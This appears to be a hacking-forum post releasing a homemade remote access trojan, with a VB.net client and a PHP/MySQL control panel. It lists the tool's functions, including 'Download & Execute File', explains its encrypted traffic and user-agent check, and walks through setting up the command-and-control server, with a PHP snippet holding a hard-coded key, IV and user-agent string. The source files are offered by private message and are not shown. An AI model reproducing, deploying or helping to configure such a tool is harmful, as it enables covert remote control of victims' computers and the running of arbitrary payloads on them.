As I lost interest of this RAT, I thought about releasing it to the community.
It only has some basic functions, as I was more interested in the traffic encryption, php-> vb and such.
Functions:
The client is coded by me, except for the
If anyone feels the need for credits, post/pm.
The PHP files are coded by me except for the Web Layout as that was ripped off a jquery sliding panel tutorial(link to tutorial).
It only has some basic functions, as I was more interested in the traffic encryption, php-> vb and such.
Functions:
- Show Messagebox
- Open Website Visible
- Download & Execute File
- Kick Client
The client is coded by me, except for the
- Random String Generation(GOOGLE)
- Rijndael Encryption/Decryption(I think it was pr0t0typ3, google for the PHP side)
- Retrieving the ProccesorID(hf)
- Country2IP & Flags, Other stuff(uBot cant remeber the creator.)
If anyone feels the need for credits, post/pm.
The PHP files are coded by me except for the Web Layout as that was ripped off a jquery sliding panel tutorial(link to tutorial).
The client is written in VB.net. It communicates with a webserver which is running PHP & MySQL. The client sends a useragent as client verification.
All data is encrypted/decrypted with the Rijndael method. (It uses a constant key for all clients. I know that sucks.)
There is some kind of mutex, not in the client but serversided. Only one HWID is allowed.
Not coded by a pro (especially the PHP code), so don't be a bitch. Comments & Ideas are welcome, just don't starting flaming over nothing.
Post here and PM me for the files(webfiles & vb project).
Screenshots
Actions
[img]http://i1089.photobucket.com/albums/i353/tmpasd123/scrnshot1.png[/img]
Users
[img]http://i1089.photobucket.com/albums/i353/tmpasd123/scrnshot2.png[/img]
Sending Command
[img]http://i1089.photobucket.com/albums/i353/tmpasd123/Untitled.gif[/img]
Setup Instructions
Extract the WEBFiles.rar file into/onto your webserver, after that edit the connect.php.
- $db_host = "addressofdbhost" EX. localhost
- $db_user = "dbusername" EX. root
- $db_pass = "dbpassword" EX. pwd
- $db_database = "nameoftheactualdatabase" EX. RAT
after that save changes and close the file.
Then open op your database management utility, after that create a database with the name you used in the "connect.php" file. ex. RAT
After that import the "tables.sql" or open it up, copy&paste and run the sql statements.
There should be 2 new tables in your db. 1: cusers 2: tz_members.
cusers should be empty as when a client disconnects it should be removed from the db.
In table tz_members should be one record, usr "test" and pass "098f6bcd4621d373cade4e832627b4f6" which is "test" hashed with md5.
Remember that so you can login after setting everything up.
If you want to add more users, you will have to do it by hand.
You are done with the db. Extract the "HFMcProject.rar" and start visual studio(or vb express) and open the project. After that open up the Mainform in the codeview.
You will see This:
[img]http://i1089.photobucket.com/albums/i353/tmpasd123/screenshot3.png[/img]
Edit those settings to your needs.
Now open up the "client.php" file.
You will see:
Code
$ky = 'z9WrEqe3RudaBuVubE_we$P!QUhej?Dr';
$iv = 'thubRa8U=pUr7Juk4sequtaW3preNAtA';
$uuseragent = '41lUr6a7LufroUxoEqOufoukoEjies7l';
if ($_SERVER['HTTP_USER_AGENT'] == $uuseragent )After that you are ready to start debugging and testing.
Want the links to your self created pages in the slidingpanel memberspanel(third screenshot) section ???
Open up "settings.php" and add yours.
PFFFF Done. now hf, its you're turn.
Ooh and some people may need to wait till tomorrow as its 00:15 AM here(GMT+02) and I'm going to bed...(Don't spam my inbox to much)
Any questions, just ask. I'll maybe even help over TV ;p
100th post lolz lucky.